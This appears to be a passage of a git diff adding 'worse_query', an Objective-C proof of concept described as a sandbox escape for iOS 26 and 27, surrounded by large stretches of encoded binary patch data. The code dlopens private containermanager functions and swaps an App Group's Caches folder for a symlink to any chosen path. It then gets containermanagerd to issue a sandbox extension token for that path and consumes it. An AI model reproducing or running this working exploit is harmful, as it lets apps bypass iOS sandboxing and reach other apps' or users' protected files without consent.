zEi+An>*G2Q@amwcK?jvZ436q$G=Q-TE~}!vt%tl@_3(#Q4}Y_In%eNiL&Q8&XOZL? zSo(7`i44X@vQFH>1|rS55jkA!_?nwd)ue3?oPM$~hXf|oO*)`R>TI)IQs=hNIW3lr&h`JyeoKLg zPWQ0mU)_#}f7|jXWEku&v4QrTF$j?mq?I5L16&|vmv?x3WI0eSf6~iDg0_N>o)NP zn&#~EOx>JdE~2ksSJoB9t{T5P7@Eg0YdUe|aefsqbZb5^FN z{AFRc7E~IUeFVU^JjQR=z`cBAN?#Mn)VAfCu`8E-ql{ZH#J7H0i__fV+JJlcvTQCN zzs+eHxd&PUj{=6ngvLVEwW{0ihGv&OA6Vd}Qo-0xEU2wi7 zR>xOUnPI%e?aWPw;4vf)=jOgsm0Zdr+lO zD6UG`5n$=AkZYFFc+>&lCU2j!lpFeB2A15D2`9l8KU;@R=xwGyaR(7!(rZd~+;%t7 zdDCO@m(xN+wDG(&6b(Si5#22>CEdm)*W7Fj=rK(4vd1s-+uMe2b;}ma9AW4gub{aR zkPWNi)|=Ev!!5~N(qzM{QoS2u`4$f0WGIU-EX%MK)#2WE)BZGDr?Yo5%+aYXDGtdy z=JfMg&DmMlo@FoOO9SF2duvF6jb&P5qaQqW#9>9{@9CnQhMq1XxBPMes6jG>F`0h7 zEc6t`fIb)h4aUrLu6fR&lLro!VWlOq)Rc^`8@tP>i+ba>{&}%rMq#I8%ykUz(9}MDTiY-+H^x$_>9htednCq=(fX_@Y@%_mmsEJ9R|tgEHHJwCKpk^?*DHe~h)E#JNH@4i;; zsgML|GU!X)`~NaIA>SN`y}9<#eKP!tE}s@Wrtl+ReBp)-&D)Jw>Hy;(cRh6LtJDE} zl?Ek^x~!qwILaE*t&je1s#T!#-{4hlu06_nr*&7XP>l&*ix+vaqrpb zdsNZKPuzVnzDYU_?|f`2dKXe(*5FIiW+fpPL#fUDlu!8HY{4!*-Rj3-f&7+L{CF== zt<8 literal 0 HcmV?d00001 diff --git a/vendor/libssh/libssh.dylib b/vendor/libssh/libssh.dylib new file mode 120000 index 0000000..f26a913 --- /dev/null +++ b/vendor/libssh/libssh.dylib @@ -0,0 +1 @@ +libssh.4.dylib \ No newline at end of file diff --git a/worse_query.h b/worse_query.h new file mode 100644 index 0000000..0275bb9 --- /dev/null +++ b/worse_query.h @@ -0,0 +1,36 @@ +// +// worse_query.h +// worse_query +// +// Created by Taj C on 8/20/26. +// + +/* + worse_query - A sandbox escape PoC for iOS 26 and 27, again. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef worse_query_h +#define worse_query_h + +#import +#include +#include + +int64_t worse_query(NSString *path, NSString *group, bool alt_flags, bool create_dir); +void worse_query_release(int64_t handle); + +#endif /* worse_query_h */ diff --git a/worse_query.m b/worse_query.m new file mode 100644 index 0000000..cba035a --- /dev/null +++ b/worse_query.m @@ -0,0 +1,148 @@ +// +// worse_query.m +// worse_query +// +// Created by Taj C on 8/20/26. +// + +/* + worse_query - A sandbox escape PoC for iOS 26 and 27, again. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#import +#include +#include +#include +#include +#include "worse_query.h" + +typedef void *(*container_query_create_fn)(void); +typedef void (*container_query_set_class_fn)(void *, uint64_t); +typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t); +typedef void (*container_query_set_flags_fn)(void *, uint64_t); +typedef void (*container_query_set_part_fn)(void *, uint64_t); +typedef void *(*container_query_get_single_result_fn)(void *); +typedef void (*container_query_free_fn)(void *); +typedef char *(*container_copy_sandbox_token_fn)(void *); +typedef int64_t (*sandbox_extension_consume_fn)(const char *); +typedef int (*sandbox_extension_release_fn)(int64_t); + +// Remove symlink and recreate Caches directory +static void clean_symlink(NSString *group) { + if (group != NULL) { + NSFileManager *files = [NSFileManager defaultManager]; + NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group]; + if (groupRoot) { + NSURL *caches = [groupRoot URLByAppendingPathComponent: @"Library/Caches"]; + [files removeItemAtURL: caches error: nil]; + [files createDirectoryAtURL: caches withIntermediateDirectories: false attributes: nil error: nil]; + } + } + return; +} + +// So, who's ready for round two? +int64_t worse_query(NSString *target, NSString *group, bool alt_flags, bool create_dir) { + // Check if the target exists + if (!create_dir) { + struct stat st; + if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; // Nothing exists at this path, and create_dir is false + } + + // Get the App Group's path + // An App Group identifier you control is required for this + NSFileManager *files = [NSFileManager defaultManager]; + NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group]; + if (!groupRoot) return -1; // App Group doesn't exist or we can't access it + NSString *caches = [[groupRoot URLByAppendingPathComponent: @"Library/Caches"] path]; + + // Resolve functions + void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); + if (!mgr) return -2; // dlopen failed? + + container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); + container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); + container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers"); + container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags"); + container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part"); + container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result"); + container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); + container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token"); + sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume"); + if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) { + dlclose(mgr); + return -2; // Failed to resolve a function (unsupported OS) + } + + // Create query + void *query = query_create(); + if (!query) { + dlclose(mgr); + return -3; // Failed to create query + } + + // Set up query + xpc_object_t identifier; + query_set_class(query, 7); // We're only using class 7 here (appGroup), which goes to containermanagerd + identifier = xpc_string_create(group.UTF8String); + query_set_group_identifiers(query, identifier); + query_set_part(query, 3); // The query's part sets our base path, part 3 is Library/Caches + if (alt_flags) { + query_set_flags(query, 0x0000000800000000ULL); // Accessing App Group containers on iOS 26.x needs different flags, for whatever reason + } else { + query_set_flags(query, 0x0000008000000000ULL); + } + + // Set up symlink + [files removeItemAtPath: caches error: nil]; + if ([files createSymbolicLinkAtPath: caches withDestinationPath: target error: nil] == false) { + dlclose(mgr); + return -4; // Failed to create symlink + } + + // Send our query over + void *result = query_get_single_result(query); + if (!result) { + query_free(query); + dlclose(mgr); + clean_symlink(group); + return -5; // Query rejected by containermanagerd + } + char *token = copy_sandbox_token(result); + if (!token) { + query_free(query); + dlclose(mgr); + clean_symlink(group); + return -6; // Kernel refused to issue a sandbox extension + } + + // Consume sandbox extension and clean up + int64_t handle = consume_extension(token); + query_free(query); + free(token); + dlclose(mgr); + clean_symlink(group); + + return handle; +} + +// You should probably call this when you're done +void worse_query_release(int64_t handle) { + if (handle < 0) return; + sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release"); + if (release_extension) release_extension(handle); +}

g1#0i{J3ONGp94F7fkK|!>`9Pk#_D$^2v;xD}MfbRS_Q^xe4h}H5 zZ8z)zYPQ-GLJ3-y#>7mlnat^ID37<3W^wZj*w4$?P7ecv;VA&Dv*G|NUk_eRZ*vq7 z@$Rem?E9Q$3O!iEHX~`0B!LEmc8J5O;6Q!udq-oukT>J>I8FV;%d+`%u+xj%@sDLV z-Gy_Xe0IGpzb6Q%>fp>t{Udi4(;#WgnHBs3+5Bb=!MWqb%sw+n_52o(n|avPB9ZFc znjSnXqFi6x0M|0y{T0my(Aemr_%U|6Sw#|;5Nc{{=?Q->7jH~NB)rbi_v#|>c?ml5 z#Yf#T&Z`mu5#!|_{01?dr3Ok}L5I>bK_#cDQqOsP{?Ff#?V5=K`R zw;aqtlqv+B=`U?ulHs3dxg+2LQzlUhd{uIKo1Gt@8hd_dn*8}?+q~}_5V#bWK>UQt zVmhh)xM;f+lOs3b9T4>R1Hd!*Z#{O=tM|OE7L7EQ1`@Js0MrHF+Nt{K6Iq(Es^w=c zUhwJ|GrU&~WnQBYpao{vzwoNrqTo_RYdiFS+6>X=Lfv`DEY%!BKO%#V9irTf>nC~} ztJi5_8sxj2Yb-zLInFnat_deZ%VZWU7NDr=Z}O!)s@{Tx1luRJ*QYUahqlknXLy7F zp8%|olYycgG8rBcG7w>%V)@JqZ8t*q zQe0wvWS(05iEV2J+9t?CEP(7i2B;1Osq^+#Mp;oa;!MY&HURWLg`6W*j)o)1W_T)y zBv2xePcxhMz2ZT8nuaH?BP7r)aj9dVZ8++JNEZ2hxe#_=Ad4gY;00}{(9I*Rn*t6m zN1#s@bWeW-7K2^bkEqt;60w&2*~1$T4j`%DSpOC>oX)3(M4 zTxtv88X+Qnw05_!oO1LLQ$;lqV z^}Idf)zAdn5}Nqzn;sDfleEL2eF?xl-+oj>3urCGCKG@dX%6t1ku~x~Om8)r5wCan zn@nBQo~rT_XAxXAOBuTs6;X5}wRL`6+I8_XXeC1YuTbF&0^92g53 z1M*dWzL-k6s{sSakD0Na^WDp=zGeWgH6lAA8wV#4L{$L;A9NeKz5zHn=jWY{>)SeI zz~weL3F+(VA9$>e77&${*h}DU*ed_fb?ksXm0okeK9aNnAZgTu73avZcFZ+rTWllu z(v_GbKWF1s516K? zS;eB|Snj9l2=%PUigBXS5kh{i?U$a!jzaLF1T08RKuR4D&pyBYdg%1nnmau4%4QE_ zQ*G{fpP)_c?Mv47GpeqC;rYUo8TffgrMDWcl!IEVpJ^eUA%5pyax{=gMS1rqATK?N z=6L^2|C(f|l6#wnlf++mZEn#5R}eBwjNSvEraXoyjd1MH-2*ORTKg8KJJnPdUzs=| zk=tqxInA|B#_VRATThf_A|7=In|RP?KGbNa!N9~Lo{G{>v1%}_5xd!M8R7Fl&L9ih z#Xi;fX=e%;_|DP6umMgnxa;2XGuc zFrtB3qlfaNycR?CVStZvxV+OrWXY5bminJ`DNqm7XrS@%tedN&W^H9n!&pend-F$v_mxN)GZb1!03&!TS(z^!OJh zA-izE%D5O73fNIBt6ivQiTVdeAp*bdx(CB1>TUCLffF|?pH{Jh+K-tuo#cgJx`ztA zv5M4AIoM%CmnUe(rS@QjGTC&T6LUf(n*$@OOZiP*PF2o2gbjqHJMGjsPuwUD#($3y z=3unzOd3()l3CK^?lj|u9I$}nCpQY@HWMpW6nIaj;^C{}`$`f^OFET5z9a^qv`4Iq zgzL_qu_EaHOBuD{L=JsxRPg%%2M>T>L!PH?$5s2O-ZV(S0+2zLS{_3y8^Ts9p@|ft zX)&e+f$o_#q2D{1NE*whh-523&mG z<0q3MetiCL8Kf_*b|W+n-oQbo{iYYd7!}fxjbP5-mt0kI6AG;|IJ(J~u0`4uR&7|= zqRX6A91-(dYJbw6SxN#kvkBu@qP7(AoNf(GR^a6m-gf0y3K)_RtW{!-Hh(?jg^2A< zx{n9(((_=ME8Y7<5I`>G9znymg!eo#5jG;w4^O&PSt+g2gIVGe*0C*hh zc-OiOqk`mCcUqH^OA^`G3kPcAvt+mrQ)n)uGeijZVgbUk@S_1S84}SR;3gL+b{{&d zqlp-bNNhoFYH(ZoF+!qTPK0(*%cxuB;mViq28ikWy#7#d3F-a+Gg+8U3#J};t~W3P&|moR&EUja%#7qJA8{yi9oh2A6r=)YTqV0C z@igxx3^ZnhaErpq6QjYPUKh!KN&!IZjPE`|9Sz;&-mHHrfU5~^2;!i3Aiw#HsSJg% zSK;!cz1i>TG)?EQ0LV<)%uwKWUU#^(!nM<|4AcV5F*%F;^X!cpda(hx1-MzB3tdP% zjbTI_C>Ya6iR;h9B%+~a>Yko1&7xtkQi1cJWE%fkGUc;Sj?_L% z+SN7fKks5jZbZ}t{FMlY?OsBG@;ARn&z>1MB%2*m5v=F96VA!*E@WT(RVnBx%@HY#C`(#N-8SIeX@azUEIyoM}g+ij47BJ-QIH83{LVXtafFEkqS=E~=r zaJ$lU<>Jdti=TFoost9W29t}2JGynaA!^pV=Ne7H!CVuoeN4ld#)TH(`ipp4j%ndtG^^ha2)G->-xuZsT4>07G`MY0{>9{B2uIwm@ zjl)H+#)r5Zc7roI%HhxDB3!Dn+sx7$a;P5JM2|7IU1+uqCVZ{C4rpBSQ%lJu*YO1` zARJMxEhwhiYRLC)eb3 zqXV0f0Z6GYK2bQUg8p(paFD+N*QZ1g(dQf!AhUifUl>)EHF*#7 zYxV|wsfH6N*YY45w|md#36IFdc&LSZAHu@o!_WvKo;JK6vZzvEX+g-!auP|Ly{hY# z)7d;E8NjD>c|O@URG>LoLP0(wnnP-n&e%60$Jd!WB_{E#3ZZZGoQ?||Q~8QFC0y8J z3as~ny5Z`HYAb9A{>Sh>CetCw2#Izt2wfh%@-C2&@B??T5SR4T?@!XZo~d^zpzI3N zh@j3nb4Vd}xM526nUGFED;kQ@Ekn{|5moM}ls@e<7WNWWxt2%WLgTsVRm4)^v_mG} z523r?OD5zt&_jW;96*=@Q#KC-E?t=XGRU|~>*0}c&psn10W&nH&}NH-APA#Whc0p{-&nCTz~<2j@=SN)`KPh(L1O39ng`q$8 z6^ru>qrawu^C4^kn}Hwk-_Gcl()f87C^FlbtUCF&_evhP>0Ymt!!qvPQ}ehT)=u=$HD-H7<`IAV=Xsx|H(Hj7EpwcFx9O+z# zVIqQ8qFH*vaX7h+>9EOsEDsp*FbnoMGNq8o=avKo0Gv$S{4$ciTg=oh69*V4_B5o+ zAu9bQXgQi8QRlIEy7>u<1d0WnL_&Yo{5Y97<-t`#HC9ixqUaMnRaAI^PX)(S@^%)y zJ*P}gik*HBMV~;#uKbuO#r-&n-6-KH3Em{#6Z4bFK4L=~mnL^Fj5&hm-j?Gas3uUQ zRl7(|HS|bnR#;y;3(RiOUw|$dO7)j0Rg{;SF7t(U2sN)reB`pah5%aFr#8mb-;JVU6OvS#p$gv?T(@v8KHl-#dEc!Zzk7 z*(E0!B5g0+nbGA-U-~+y@}gD%;;8twvcO8h-kVB|LwpN~L@jy(G7A9uL&&oSy%+;% za5HA5ZsJ3RYYez)a5Cv2e3NLRX5=^J7<3>q61_-Jy1kYBRA9-9br9GN(-Qj?Hwl~VpIZppRbtZa9%j0k9p{;x$Z4Sd*U$z{0mx)+e89f5kQ9FxdSZNd!FkwG z%UK@LYK!n0uQfB+c65}I;X`KmDBQ|pn!jG&f|o=e6U$5O834xnc$wM>dH{^4?7uBO2vqIY5dm(iSRtZiv` z;hGwX_^VQJoP3N{x8>$Qb zq2t2C&eCiQ`MZLsjXz0#Hs9swkrJ)%9gc~La9Z%pz?9kav7M&Ie}<4L(lk9uNydj0 z0}e7458=ZVYFt=+j?Qk0Y`asskko|eyM@43ue_Fu)P|GCE$JZ*D4F()uYE|D@Oc$U zyt0IpB>;$!EZBz+R2gH1h427%0v$?~$6BCsKn(3-J%8WCwBJWLsCr8b1stgALu~O zWKc4zgF3<{ZA9L*WgL=UdYCUXH}(M)-8xpUC5q55Q9q1$m@D@4h8Pra5CVfmt!Dbe z*kA-oXog_&3icGIvLg;zLx-O`>dFtE^be;K5$830;UM6&34)aM zsNu8i)iN8JlZ=(!+e3=On|ht8$n8Ou6XL{~vyF08Aw?GY!I=VKbi`4GBk!5!9yMU1 zPCMyyvWlwfce5jx4s;0}!dLJQ8^^@q)6Qv#yrf6B^ap|X;5>l{>XRyEad%dKv}}$g z8BbI)25~84vGFM(5zG?=mVDa@G z>nm|S@4E{eywXX2Y5-~udbikIn7hL#7M%I(AO1&Mq+~mSaIXoy>&qh%E@c!yi zDc~J6$CCUOGCXY+n4l&23rxpi^k77)h%%V zUK3QYi9W9`vv0%9VFK07fOG`|7X5F5)NtlpLm7f=uGu?jl>jr!0VtjnBi$SZGj&** zlh4dgXD$}3BpSjdKZGtlvIT8nGsh1Ss8Em+*uz+!lKmIr>0x9ep&hoYz^3R-%0Fxv z`9tdgQ%~Q)4M*fe1)IkhmztVPsDKYl`pI!P9ytNG<6(gxkCf&m9!2}Fj zp8A!p6W3qpjuBJ!V~oOWqQIz*&5uEPvCUAYN--e8zQ=I29!38THsx+YOqX_(CV58} z3G<8Fxq?cK4w5_GS4hxFM2~0IG|N6^s(px!M%@*;K^RrVxKD!k3=X@kdJ3W(7jxXX z_qhG?Nn)xdaf{t(l40FX8un{#M@^^9b-rr(7(o5DnlVp)YI~UOW0V&vw}m8T=Bm*8 zZ6Vn=#NrHn*Vs;)qU)4g$QL9HLN#O=Z(sMYtbu%j-Oh;t3NpcRLcE!&HK;b6X%{z3 zQ(xLQfxvt5qlJ@6NBWv&K{bMww3rnM*UA}ZYWY{*$NU}#5 zV8J}T-6(Z8hJ6S6#dxr3kz8u)HQB9eZMuMkFxgILX#Ge^eHpwDbXAO^fDiYD zNOW}!pj4%}Z>SO9@7RbFTO<@xz1PFjqDb4aV5tsLr!1_E>k5?Yp{q0k`A|lM^;Xm= zHDf*XIAH9^UF-P6%#a><&0_|I_vdL$_nbU#=I)_y zllf;qRnuL)>FQlqzl%Qad5-FnZq*7YZacvuA)GDSlYB99AA4^V7$A}enWMl#tk>~| z+j-&*tdJ~e3#2VU5F1(@OweJX@_voT(AZCq??}A(HaG+Fw#WD9Taj|ztp-c6>cw0^ zHr|%X6b%9A9)m%>GckLGa-N?X+zx~%TOTb`I};LwM)yf26BZnhX5Oi|<#?tNadf!H z&a85s+(h7Ll_b~X^hXH)luVGpPfN_jLl*n$Il7VZ{KsOhiY&y0w;7iXZEsH_U=5Z6H2rQp?*~VmUpiqin5?l}E2Atk6Cwi6 z%`#Xm&uZRxjHB4@6Y?`KN22QYix$q)e+g2VRlg3l{=z(;2qfg{1S#7b+8O&>U<^u3 zv8oq(9Zu7tZ4A_($O!%A%gXw!hxLo3wmrYLG zl-+p2{a8IZH6fYCx=F6}tUXPtOf4bW6n`4$1gpqv88^dq>(rkYPgn4=Fj9buwxl*r z!{=w1ey+JbFh4W_c+aEkzZZjhlAy7Yu!bg*+g|subRR%vk*%D3{bVWuO0uJUsoS(` z?p`3oIfXWRaB`JEz75JR^FJO#x|CxA;i$*afSOvJgbTB=j3%8qnMrD9%Pginf(eg@ z8szmzFlYjZ&W{S5#os``Q&Wa2@ZZN{c1WtxHk9}PKz?6jRUJ5-f$w9IO>vL= z^pn7zH6EaA0V={lGe*Vs{Bi9r$1t&cprg!9%i^y6z{m)PNMSYr?F~^;-6Gs8xgguy z#;-mi7{)kmlZ@RJI>emhl>|~l@N?gEw{=O=u&RagESn%|+sO$vK zUr_)0ejYYGMWZ6J2e;ZhiPq4kjbmv>f48~c>%BP5Bbpq8;Y_il_pJAY7@e3q*iLZz$;w{+Mvm+0)UO-vm+ z`|?MDW3W-W_k#kP57SA~Y}JwLbt4-+LlY%lZ8s4idmao5g?eT77X8s}LqkU~E-{&L zgL~a$v{Ee}*}rtiG;)o!V?eKCM+5Wk_muXFgw>P;p+WVl%MwDm-F5xWYTPgby08*Z ze!Vk`yLMA-yu&c6<)^wOHOwTgh^U)TO&WrF!GlRWNq8Id9~+m@xts6ne_m^d@mPZV z`yZjY9L{s8?x_L}8{cE#Go4sYdGcCE_Oq`Asz{Qw0)_Oxg8;q_OoJI^i#1kEXomZ> zd!cvtL_Epnz$A3c;mTJIoI;hBtt?&iO6;i>7zkZvdzdDT(;%3rS8c3=^QoA4aiQr0 zOm}M45lC$)jkp5~;x;20bDp?Ck)9R}>xnJ!ah?0BdYV4vH(Pt@s$_(2lj>@+`NZTf z?f~w4bK-8)t11n(z2Kec5t+kUusNcmj{}#c#lWu`Ze5+!uG^LyUJ6V&uPFo30%6!` zC0ZzDSz`P!h2=53d2?+d9(ujQrGf1j7axBeC3rU0fF#2k3bEN($k7h@EHQJ68_e}= zXATpqTL8PD3;SAEl1&IjlgT+2I6kd{lDXwwx@ZA>Ys?&f?ze{{AE;S}`NDp=!SH{r zDli-Y*LKEna`TCvVCL`BT=Pd57>_p`*1P14lG1Gy9|%E-OG3k+^8kT3#S&YP{ZHb9 z$^=M%NibadM!Z?m_LK)xyf>XVWX--7E!=A_`NU7 z@COE|V4htEHs@ZK1i2nfq*Tk)hJs_<0 zT3(i;$3gJem&$Ar8KU{cVqf zbrd>s=^aVC-hd!n{ zJI_5o*7_?{xUxCc5)z)fcP4;hZJ%9YfvACpyG-Oe{AT-xI>S6X2nJ?mqzwAEfteQJ z*BZ(7)P&_sWd@BpX~d9KSDTdOp)%APJjR+XOU?i(CQu0mzlJ&O{)APrALFPeOufi4 z=wVE5PBV>#Iw0(l@q^@-kN!(*)$I>$tTAhKr&#i$7$5p}C6 z2^0a{Bk~3YT-?+k>^2ueG&e|=vC+3E-?Z2|6yhrJj1MX_!IFQ&?dTLmeRTcgvoAd& zv*jShl*5|M(*gY*dDrW3p(+~;rLDXILHPijDn?(~7MGn}%I&U}?nO3OEFOF2^=8s< zN?v#-DIL2v&OZS(5NfI`)6Sa9+Je@)c)qXHe06#u&Om;b6JW25Y>fub1Rxv4(V&Aa zA51)j@a_=70wd31&i%g$VM#mOzQ>|-2M}0Ma*3XERUk9WYH_9J)xooLGEI5*r-TaG zJ6v3mlSmB|68@sID3#?s$66|LVYz=uyF^ns#U<#(V9GXI;F( z{=r0JuDTs|C_T&mhfm#w2aZ`Duj_QDq$^_y%Rgs9AQ}8B{!q^vc=8qXa-aq+&1LC3 z@5O?$WmP!!OL@QG1t25e0@^U2C|%HLF3QBTBX8^8vzgK7OAahoRrlWonQ2&TA8HZ3 z$}F8ik4~0$uK!+TJGNqbby}tM{V^1TrKtU+c&$i2I~f4(7_Bh$i#ZTFWd=D{YBB)G zFhlE5$czMpvr_S}cBe?z;)XfQ7NZsog8*k*gpNZ9ftiMEi^5?qy1h8p+q}pb#5VwdZ;<6(n7bIKS}G_7iZ@7rT!leZ_{_GWGxQ7C0+&pId3%IUcVeN%xYFAox4)B0F2!@AC}LSWsfQ1Mh1E{AX^yl~Ksy89 zaZE;IVEzop={u1%m$FWRSQoy!u1R@>_ytXjcjhbSoFq)9WtPVoM6Q*FE%RiR z#wbeOdXv1*nXnCot6Hz-5M;p4%V0ddy3an2uMB}0;8Sri#du3HT5F|4`TqU^m+Oz~ zZ4#(k#v{pIFq$>(2U8bnHlPm=nl@=&IGQ}7MM^S&An^y;xn*+57nYz5jL-;u<%13z zA}K%oTG35>jj+Gmoo4UqG>Y^J$O_uhD}Us0V^+;Q-3ZSb22v%drbj^xGfyq1tGmuO zrcf}M*SgJPmS0Z>$ zbW&kOQRMcXM)XkMYC?W;o)*X!Qf!dQ#2@y0tVM+XeZkaNOZh9!=%^=vsB!wNP~cKr z3oeIzygPG0Y1Bp5TCF+@PKai;Y`UjrVQ2`$I$vU3bET;IgcDronHY%Lw?IzHV-FHK zKl4R)^lP~n=ejz_<%~X3;$to|q82Zf7mHc^2D@tsdY*Dd!}F=nOtaCRa=5UtJ8Byt z=Cx%FK7uOPh$btlqzG%JKtP&A3=k5TfYf z40IIWR=#1f@bh+L;BFc)(9=;^hlaD%%LNdGQx06>(Q^&7P;C+&KyHy!RXv&#<>0dh zsbHbw1fX;Slw^4Y6VO|fDHFuvt7hpH`C7_}YQu9kIHBoKt$t=35DmJ4MagZ((Vhb+ z1&*fnmK#V24a^OY^n@1}%fe|K*1aN=^MuM4o<+=$(I7w^?w|xINfPt&L_ArU9+9Eh z4M=mG#WbC^p|^kx>eWNRE)$d|3|iztjsK$^NOWxghkE{s3skHod-L|W55O~U0T*Js=?Ow!8>wkW1?f_K8OhKp?nH+Fxf|C(Y8osv7nc~S0E({BPfpikA&$^w#U?Mw|64b>SNN-+L>VXk|o2`W&|SN7y(V}cP+7oUg9!xpunWD(c=uBT|(i) ze=tzdE+dS03%((giEZxVB61p1)Rm0ZGA2P?XD7ddBtouTbxm9kkJqsW*Aa#FAlL`m zY!Fe+0XbkalTpT&(3h*ZFFaBi{cJ$pqTVe7XB|^C9Gj=ZhIb}CH>6#-PC63-#(MOv z_)a;zFroyWVteNyB0n=rbX>{MkO@AMgpdw~vVE`bY9ul~iT6CNkknKpl&hi=OiDd> zOR?07uuh`q-KMLNvO1tKpc)+86{n0H+AeKADX5 zXkmiMGl5sf5snTEG7Xt@s3erA$JXkyG~EaVS)Amc-Ch(8lRWZEVmnCj^wrpg_)uaf zG~;U#;Qn%+d1M`?ei{b`$6Ea5n$Rd3xjxhyQCq0&1IFkp8-R&?tQ!-y#kSai~@OOQ?#%-iq#T0bHv+6i_5 zHtCsB==*4#!!{n4ZsWb=>vrr>dOlB+4`ioXA^rG8oU_;RvVJVDPAG(wH6sQ-4C${SuuVCFH3^&W{$%kD~-YfBEW~hY^AtmQNIOA{6 ze)bGH1v=kP^g+mtCUGVCSSts@lmK}icK69v7<(f-n3J6^*~Rg0BInKd1$rB+_lAwB z^>_$CuU+6d-wYTKJvtp(vR^uzj>~KLJp0!h3RAcD#`qHW&e?}~T%>qNHwq`9uD;SDx9PKeAxXx*tgh`Lpto(v+N#;7oBS%B;)YutW~(fl5?3Yg&KLEqocA?m}tm!+xE z{Z;$i{X>`=3jcf4?0+fTItqHEi{)9u^H*^^O0s3eX)I53~d7Zn6+z4qJa6?bvI_Llsj*OJwQo=JAbtqC$d@e>i?Z(#RCE%v>8Igwzw z48ArZY;Zb>P?v}mabz`#FNiE5DWUqNEiSTc-n|LK$|k0@ zVpms<%_K{dYyMUQ6iUPrU8?NqfjmwEYRLqFuc`6XJ0CAb;{^h`h^4~-xe_Pp*BImp ze)Unjn}TW(IB6IwKp)v{Dzcz0X8I|BCdtOBO%0JboE1%`2NJADS*o zT3D=C&01$t$*MLN%Thd6#-}snp*acgxO`BjfxHs;exM^G_Ejwbru7nh>j8;g4ngzm zwPh^tvxN~7lBNlDhRV&do#g#%+-&Q=7jDPt%3{C1;G<%wBv)(R(CR68xRGqma-Q6{ z1eHL*a(8+M0g)`dJq+`Bnfr#F9r8S+(T2swo1TQHB);cHwU1v`x0UIxA^9Bb&1h;% z!fmac72<%hc^5~AIng7;a7A;g;}gBggMMUClVwUJp`I`H-v@|Ynl?G6UlK(fG;i(K z|B{#gi#L-fRz2v&S3@Luf$rRn^{>1Yb-t^gK9-_EFkIAbJ)~W&f5Gkm9ctARKhR_8 zfht4nyIEgVxFx9Ni|~Gnm`sOh8igI&Hi-b%PytesO5cKi?L~CJ);SIMD%h(v!N5*1jw?5Tb(YVTrX%z3fD#^tW zJ`+BdJu8A>gRq03fN+bl#Ofj>)W{@8QZc%?IL&n&7MVwfib-@v7)3kVFwbEOF-_9^ z%`}hBFENge^m(0?h!=%ma0_&fR`bv@OD$-!NJ5BV`>Tk0hNO313owZeZ0oRq+7OBO zJTNMz|LJ_$Ho{{t3yd}lacG=XkB+D5K8~B3c8a$D?^v{ThsGFRB?a*LJVw5}|fJ^gIowc*?P%Z2hQ>l-`_ zWNSIIt2*6wUXJ1szh;J+Kj^DuL&w zU|kwL#*U}*msDNduD;vr_UV(pt(R8O-eMO5u3wu-F(TvzA`)RS(5Yh|7;*~dr=82p zI-n({niUMV42%rbz9mdIZF0H<{YD(S7w}Y=(#47Ce3SqIEuaywn^Ux5H%Zjc z?N#|1Hp4T4wX^eHewTC6FNSpX(a>&L@zStax{D2iZ#7k?VyQM0_p+5oY%tG7@8jD)!?XLB_w?^af=Y-7bq##6;#%O zA{4PVw$;ORDAMPCI~W{IT0PcKh|!d>c^=+@tk^vYH({zG+CH?yf(mJSaWTTwu?gwTBVF3_7+W4sGLD|zBkY+Q+YKl% zf0094GBefOniwTKX+?HB==9zG>-8|nSs~P8;`~!}+3TRdZ-HdN^5W{gR-b1(+X>kx zbjUl(e$~r3E%9rG5q9(H%1s?OWolUBoZ9=v))=R^q_Q`^k?_XK$oDh+$9)8;DKwO+ zX=Ui0$~-Px@DEnrDWz!ncJmLRIE2B&g-h|r+n^03kIA}PWm>45@g4{>?C za8@8yI~})DuR%*OMM5V;3IK5D)pz&aO!7!@v}u@!DoFNXC;4|}igUsGs=BZsDPSNB zkOjIVjiz3ybRVQIJwwAjc2WE>hFP5*Si&a(3} z_Tlx&ln!U7?`r?Uw$}ZrZrC%Z?j}eH%yKD2_;RyL`MuMyvy~{gaWnOe&`o#Mi~n=; zv3h-Dma3?-b5VV*r(d66ebc>yajTVUYXEM!ZbS&nT8fd)nc-Pd3NZ(eG7ga=O62p( zp7Sv#?>vN@0L}WOFC<^4Q*H!?ILHebqKwZ218crU{_qH6VM%1aSk+( zP08D#<|zP*0=mX21cfV*1~od@bG4aDBU7CFi+XBd1yU9Pfr=QASGJr_nGpK;=f|1H 